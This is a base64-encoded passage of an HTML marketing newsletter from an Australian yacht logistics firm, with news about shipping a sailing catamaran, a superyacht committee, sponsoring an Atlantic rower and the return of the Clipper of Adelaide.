MjcsIDEyNywgMTI3KTsgZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDEycHg7Ij5PdXIg YWdlbnQgUGV0ZXJzIGFuZCBNYXkgYWxzbyBvZmZlciBhIHdpZGUgcmFuZ2Ugb2Ygc2NoZWR1bGVz IHRocm91Z2hvdXQgdGhlIE1lZGl0ZXJyYW5lYW4sIE5vcnRoZXJuIEV1cm9wZSBhbmQgQXRsYW50 aWMuIDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigwLCAwLCAwKTsgZm9udC1mYW1pbHk6 IEFyaWFsOyBmb250LXNpemU6IDEycHg7Ij48YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjAwNjljNWU4YTQ4ODI0ZWQyODIxOGJk MzgwYTBiZGYyOSI+Q2xpY2sgSGVyZTwvYT4mbmJzcDs8c3BhbiBzdHlsZT0iY29sb3I6IHJnYigx MjcsIDEyNywgMTI3KTsiPnRvIHNlZSBkYXRlczwvc3Bhbj48L3NwYW4+PHNwYW4gc3R5bGU9ImNv bG9yOiByZ2IoMCwgMCwgMCk7IGZvbnQtZmFtaWx5OiBBcmlhbDsgZm9udC1zaXplOiAxMnB4OyI+ PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg PC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFs aWduOiBsZWZ0OyBwYWRkaW5nLXRvcDogMTVweDsgcGFkZGluZy1ib3R0b206IDE1cHg7Ij48c3Bh biBzdHlsZT0iY29sb3I6IHJnYigwLCAwLCAwKTsgZm9udC1zaXplOiAxMnB4OyI+PC9zcGFuPjwv cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPGgzPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDI0NywgMTUwLCA3 MCk7IGZvbnQtc2l6ZTogMThweDsiPkFVUk9SQSBJTiBNT1RJT048L3NwYW4+PC9oMz4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDI0NywgMTUwLCA3MCk7IGZvbnQtc2l6ZTogMThweDsiPjxp bWcgd2lkdGg9IjQ0NCIgaGVpZ2h0PSIyOTAiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IiBh bHQ9IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExv Z2lzdGljcy9pbWFnZXMvNzEuanBnIj48L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3Bh biBzdHlsZT0iY29sb3I6IHJnYigxMjcsIDEyNywgMTI3KTsiPlRoaXMgNTIgZm9vdCBzYWlsaW5n IGNhdGFtYXJhbiBpcyBjdXJyZW50bHkgZW4tcm91dGUgZnJvbSBFdXJvcGUgYW5kIGlzIGR1ZSB0 byBhcnJpdmUgaW4gQXVzdHJhbGlhbiB3YXRlcnMgZWFybHkgbmV4dCB3ZWVrLiBXaXRoIGl0cyBk aWFtb25kLXNoYXBlZCB2ZXJ0aWNhbCBib3dzIGFuZCBiZXZlbGVkIGh1bGxzLCB0aGlzIGlzIG5v IG9yZGluYXJ5IGNhdGFtYXJhbiBhbmQgaGFzIGJlZW4gYSBwbGVhc3VyZSB0byBzaGlwLjwvc3Bh bj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxwPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+Jm5i c3A7PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246 IGxlZnQ7IHBhZGRpbmctdG9wOiAxNXB4OyBwYWRkaW5nLWJvdHRvbTogMTVweDsiPjxzdHJvbmc+ PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMjQ3LCAxNTAsIDcwKTsgZm9udC1zaXplOiAxOHB4OyI+ U1VQRVJZQUNIVCBBVVNUUkFMSUEgQ09NTUlUVEVFIEFOTk9VTkNFRCBGT1IgMjAxNDwvc3Bhbj48 L3N0cm9uZz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1h bGlnbjogbGVmdDsgcGFkZGluZy10b3A6IDE1cHg7IHBhZGRpbmctYm90dG9tOiAxNXB4OyI+PHN0 cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNDcsIDE1MCwgNzApOyBmb250LXNpemU6IDE0 cHg7Ij48aW1nIGFsdD0iIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVy b3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zdXBlcnlhY2h0bG9nby5qcGciPjwvc3Bhbj48L3N0 cm9uZz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1hbGln bjogbGVmdDsgcGFkZGluZy10b3A6IDE1cHg7IHBhZGRpbmctYm90dG9tOiAxNXB4OyI+PHNwYW4g c3R5bGU9ImNvbG9yOiByZ2IoMTI3LCAxMjcsIDEyNyk7IGZvbnQtc2l6ZTogMTJweDsiPlRoZSBT dXBlcnlhY2h0IEF1c3RyYWxpYSBDb21taXR0ZWUgbWV0IGxhdGUgbGFzdCB3ZWVrIGZvciB0aGVp ciBhbm51YWwgZW5kIG9mIHllYXIgbWVldGluZyB3aGVyZSB0aGUgY29tbWl0dGVlIHdhcyBlbGVj dGVkIGZvciB0aGUgMjAxNCB5ZWFyLiBLYW5lIEJ5Z3JhdmUgRGlyZWN0b3Igb2YgQXVyb3JhIEds b2JhbCBMb2dpc3RpY3MgaGFzIGJlZW4gYXBwb2ludGVkIHRvIHRoZSBjb21taXR0ZWUuPC9zcGFu PjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBs ZWZ0OyBwYWRkaW5nLXRvcDogMTVweDsgcGFkZGluZy1ib3R0b206IDE1cHg7Ij48c3BhbiBzdHls ZT0iY29sb3I6IHJnYigwLCAwLCAwKTsgZm9udC1zaXplOiAxMnB4OyI+PGEgaHJlZj0iaHR0cDov L21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9NTYwZjJlODg2 OTk2OWFkNDZjNzg1ZWI3ZWFjNDExYTU0ZTEiPkZpbmQgb3V0IG1vcmUgLi48L2E+PC9zcGFuPjwv cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0 OyBwYWRkaW5nLXRvcDogMTVweDsgcGFkZGluZy1ib3R0b206IDE1cHg7Ij48c3Ryb25nPjxzcGFu IHN0eWxlPSJjb2xvcjogcmdiKDI0NywgMTUwLCA3MCk7IGZvbnQtc2l6ZTogMTRweDsiPjwvc3Bh bj48L3N0cm9uZz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMz48c3BhbiBzdHlsZT0iY29sb3I6IHJn YigyNDcsIDE1MCwgNzApOyBmb250LWZhbWlseTogQXJpYWw7IGZvbnQtc2l6ZTogMThweDsiPiZu YnNwOzwvc3Bhbj48L2gzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDM+PHNwYW4gc3R5bGU9ImNvbG9yOiBy Z2IoMjQ3LCAxNTAsIDcwKTsiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7IGZvbnQt c2l6ZTogMThweDsiPkFVUk9SQSBZQUNIVCBMT0dJU1RJQ1MgQVJFIFBST1VEIFNQT05TT1JTIE9G IEFORFJFVyBBQlJBSEFNUyBBVExBTlRJQyBUQUxJU0tFUiBXSElTS1kgQ0hBTExFTkdFPC9zcGFu PiZuYnNwOy0gPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThweDsiPlVQREFURTwvc3Bhbj48L3Nw YW4+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB4OyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiZuYnNwOzwvaDM+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMiBzdHls ZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsgdGV4dC1hbGlnbjogbGVmdDsgdGV4dC10cmFu c2Zvcm06IHVwcGVyY2FzZTsgbGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxI ZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAyNXB4OyI+PC9oMj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPGgyIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyB0ZXh0LWFsaWduOiBsZWZ0 OyBjb2xvcjogcmdiKDEwMiwgMTAyLCAxMDIpOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBs aW5lLWhlaWdodDogMjVweDsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlm OyBmb250LXNpemU6IDI1cHg7Ij48YSBuYW1lPSJTNCIgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRk aW5nOiAwcHg7IGNvbG9yOiByZ2IoMTAyLCAxMDIsIDEwMik7IHRleHQtdHJhbnNmb3JtOiB1cHBl cmNhc2U7IGxpbmUtaGVpZ2h0OiAyNXB4OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNh bnMtc2VyaWY7IGZvbnQtc2l6ZTogMjJweDsgZm9udC13ZWlnaHQ6IG5vcm1hbDsiIG9uY2xpY2s9 InJldHVybiBmYWxzZTsiIHRhcmdldD0iYmxhbmsiIGJvcmRlcj0iMCI+PC9hPjxhIG9uY2xpY2s9 InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9 ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MGZmYTM5NWZiZDA4NDQ1NTg4MTcwOTNlNzg1MGVmNDlhIiB0 YXJnZXQ9ImJsYW5rIj48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiIHN0eWxl PSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4mbmJzcDs8aW1nIGFsdD0iIiBzcmM9Imh0dHA6Ly93ZWJz aXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9zYWZlX2lt YWdlLmpwZyI+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2gyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGln bj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2 ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxM3B4OyI+PHNwYW4gc3R5bGU9InRleHQtYWxp Z246IGNlbnRlcjsgY29sb3I6IHJnYigxNDcsIDE0NywgMTQ3KTsiPjwvc3Bhbj48L3A+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxwPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9y OiByZ2IoMTI3LCAxMjcsIDEyNyk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8aDIgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IHRleHQtYWxpZ246IGxl ZnQ7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IGxpbmUtaGVpZ2h0OiAyNXB4OyBmb250LWZh bWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMjVweDsiPjxhIG5h bWU9IlM0IiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsgdGV4dC10cmFuc2Zvcm06 IHVwcGVyY2FzZTsgbGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRp Y2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAyMnB4OyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyIg dGFyZ2V0PSJibGFuayIgYm9yZGVyPSIwIj48L2E+PC9oMj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4g c3R5bGU9ImNvbG9yOiByZ2IoMTI3LCAxMjcsIDEyNyk7Ij4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFu PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8cCBhbGlnbj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7 Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjcsIDEyNywgMTI3KTsiPkFuZHJldyBoYXMgYmVl biByb3dpbmcgc29sbyBhY3Jvc3MgdGhlJm5ic3A7dW5mb3JnaXZpbmcgQXRsYW50aWMgT2NlYW4g Zm9yIHRoZSBwYXN0IDQ3IGRheXMuIEhlJm5ic3A7aXMgY3VycmVudGx5IDZ0aCBpbiB0aGUgcmFj ZSBvdmVyYWxsLiA8L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6 IHJnYigxMjcsIDEyNywgMTI3KTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxwIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsiPjxzcGFuIHN0eWxl PSJjb2xvcjogcmdiKDEyNywgMTI3LCAxMjcpOyI+V2Ugc3Bva2Ugd2l0aCBBbmRyZXcmbmJzcDts YXN0IEZyaWRheSB0aGUgMTd0aCZuYnNwO0phbnVhcnkgYW5kIGhlIHdhcyBleHRyZW1lbHkgdXBi ZWF0LCBvcHRpbWlzdGljIGFuZCBhcyBkZXRlcm1pbmVkIGFzIGhlIHdhcyBvbiBoaXMgZmlyc3Qg ZGF5Ljwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDEy NywgMTI3LCAxMjcpOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAg YWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9y OiByZ2IoMTI3LCAxMjcsIDEyNyk7Ij5Gb3IgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCBob3cgeW91 IGNhbiBzcG9uc29yIEFuZHJldyBpbiB0aGUgVGFsaXNrZXIgV2hpc2t5IEF0bGFudGljIENoYWxs ZW5nZSBwbGVhc2UgdmlzaXQgaGlzIDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjcs IDEyNywgMTI3KTsiPjxhIGlkPSJ3ZWJzaXRlIiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjBlZWVkMGFkZTk2YjY0MTcxYWU1ZmU2 YTE2YjNiMGMyZiI+d2Vic2l0ZTwvYT48L3NwYW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGln bj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJn YigxMjcsIDEyNywgMTI3KTsiPkNsaWNrIDxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUv cmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MDI3YjA2MmE0MDYxNDQzZWRhYzU4MDE4 ZTY3MDFiZDE2Ij5oZXJlPC9hPiB0byBrZWVwIHRyYWNrIG9mIEFuZHJld3MgcHJvZ3Jlc3M8L3Nw YW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0ibGVmdCIgc3R5bGU9InRleHQtYWxpZ246 IGxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjcsIDEyNywgMTI3KTsiPjxpbWcgd2lk dGg9IjQ5NSIgaGVpZ2h0PSI4NSIgYWx0PSIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5r LmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL2FkdmVudHVyZV80X2FfY3VyZS5q cGciPjwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4 dC1hbGlnbjogbGVmdDsiPiZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgzIHN0eWxlPSJtYXJn aW46IDBweDsgcGFkZGluZzogMHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyBjb2xvcjogcmdiKDEwMiwg MTAyLCAxMDIpOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsaW5lLWhlaWdodDogMjVweDsg Zm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDI1cHg7 Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNDcsIDE1MCwgNzApOyBmb250LXNpemU6IDE4cHg7 Ij5DTElQUEVSIE9GIEFERUxBSURFIFJFVFVSTlMgVE8gQVVTVFJBTElBPC9zcGFuPjwvaDM+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxwIGFsaWduPSJsZWZ0IiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6 IDBweDsgdGV4dC1hbGlnbjogbGVmdDsgY29sb3I6IHJnYigxMDIsIDEwMiwgMTAyKTsgdGV4dC10 cmFuc2Zvcm06IHVwcGVyY2FzZTsgbGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlh bCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAyNXB4OyI+PHNwYW4gc3R5bGU9ImNv bG9yOiByZ2IoMjQ3LCAxNTAsIDcwKTsgZm9udC1zaXplOiAxOHB4OyI+Jm5ic3A7PC9zcGFuPjwv cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFk ZGluZzogMHB4OyB0ZXh0LWFsaWduOiBsZWZ0OyBjb2xvcjogcmdiKDEwMiwgMTAyLCAxMDIpOyB0 ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsaW5lLWhlaWdodDogMjVweDsgZm9udC1mYW1pbHk6 IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDI1cHg7Ij48c3BhbiBzdHls ZT0iY29sb3I6IHJnYigwLCAwLCAwKTsgZm9udC1mYW1pbHk6IFRhaG9tYTsgZm9udC1zaXplOiAx MnB4OyI+PC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgzIHN0eWxlPSJtYXJnaW46IDBweDsg cGFkZGluZzogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IGNvbG9yOiByZ2IoMTAyLCAxMDIsIDEw Mik7IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IGxpbmUtaGVpZ2h0OiAyNXB4OyBmb250LWZh bWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMjVweDsiPjxzcGFu IHN0eWxlPSJjb2xvcjogcmdiKDI0NywgMTUwLCA3MCk7IGZvbnQtZmFtaWx5OiBBWkJZOyBmb250 LXNpemU6IDlweDsiPjxpbWcgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7 IiBhbHQ9IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2Jh bExvZ2lzdGljcy9pbWFnZXMvc2FmZV9pbWFnZSUyMCgxKS5qcGciPjwvc3Bhbj48L2gzPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRhaG9tYTsiPjwvc3Bhbj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPGgzPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQVpCWTsgZm9udC1zaXpl OiA5cHg7Ij48L3NwYW4+PC9oMz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgzPjxzcGFuIHN0eWxlPSJmb250 LWZhbWlseTogQVpCWTsgZm9udC1zaXplOiA5cHg7Ij48L3NwYW4+PC9oMz4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBmb250LWZhbWlseTog QXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsiPjxzcGFuIHN0eWxl PSJjb2xvcjogcmdiKDEyNywgMTI3LCAxMjcpOyI+Jm5ic3A7PC9zcGFuPjwvcD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHAgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBmb250LWZhbWls eTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsiPjxzcGFuIHN0 eWxlPSJjb2xvcjogcmdiKDEyNywgMTI3LCAxMjcpOyI+T3VyIHBhcnRuZXJzIFBldGVycyBhbmQg TWF5IGluIEV1cm9wZSByZWNlbnRseSBzaGlwcGVkIHRoZSBDbGlwcGVyIG9mIEFkZWxhaWRlIGJh Y2sgdG8gQXVzdHJhbGlhbiBzaG9yZXMuIFRoaXMgdmVzc2VsIGhhcyBxdWl0ZSBhIHN0b3J5IHRv IHRlbGwuIEF1cm9yYSBhcmUgcHJvdWQgdG8gaGF2ZSBiZWVuIGluaXRpYWxseSBpbnZvbHZlZCBp 